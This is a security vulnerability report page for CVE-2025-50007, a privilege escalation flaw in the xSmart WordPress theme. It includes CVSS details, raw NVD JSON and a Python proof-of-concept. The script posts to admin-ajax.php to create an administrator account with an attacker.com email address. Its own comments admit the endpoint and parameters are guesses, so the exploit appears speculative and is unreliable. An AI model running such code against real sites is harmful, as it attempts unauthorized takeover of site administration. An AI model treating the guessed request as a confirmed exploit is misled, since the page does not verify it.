Security Vulnerability Report
中文
CVE-2025-50007 CVSS 8.8 HIGH

CVE-2025-50007

Published: 2026-01-22 17:15:57
Last Modified: 2026-04-15 00:35:42

Description

Incorrect Privilege Assignment vulnerability in Jthemes xSmart xsmart allows Privilege Escalation.This issue affects xSmart: from n/a through <= 1.2.9.4.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

xSmart WordPress主题所有版本 <= 1.2.9.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-50007 PoC - WordPress xSmart Theme Privilege Escalation # Target: WordPress site with xSmart theme <= 1.2.9.4 import requests import sys from urllib.parse import urljoin def exploit_xsmart_privesc(target_url, username, password): """ Exploit privilege escalation in xSmart theme This PoC demonstrates creating a new admin user """ target = target_url.rstrip('/') # WordPress admin-ajax.php endpoint ajax_url = f"{target}/wp-admin/admin-ajax.php" # Get nonce (if required) # Note: Actual exploitation may vary based on theme version # Payload to create admin user # The actual vulnerable endpoint and parameters need to be identified # through theme code analysis payload = { 'action': 'xsmart_admin_action', 'sub_action': 'create_user', 'user_login': username, 'user_email': f'{username}@attacker.com', 'user_pass': password, 'role': 'administrator' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: # Send exploit request response = requests.post(ajax_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {ajax_url}") print(f"[+] Response: {response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <username> [password]") print(f"Example: {sys.argv[0]} http://target.com eviladmin EvilPass123!") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] if len(sys.argv) > 3 else 'RandomPass123!' print(f"[*] Exploiting CVE-2025-50007 - xSmart Privilege Escalation") print(f"[*] Target: {target_url}") print(f"[*] Creating admin user: {username}") exploit_xsmart_privesc(target_url, username, password) if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-50007", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:57.263", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Privilege Assignment vulnerability in Jthemes xSmart xsmart allows Privilege Escalation.This issue affects xSmart: from n/a through <= 1.2.9.4."}, {"lang": "es", "value": "Vulnerabilidad de Asignación Incorrecta de Privilegios en Jthemes xSmart xsmart permite la escalada de privilegios. Este problema afecta a xSmart: desde n/a hasta &lt;= 1.2.9.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/xsmart/vulnerability/wordpress-xsmart-theme-1-2-9-4-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}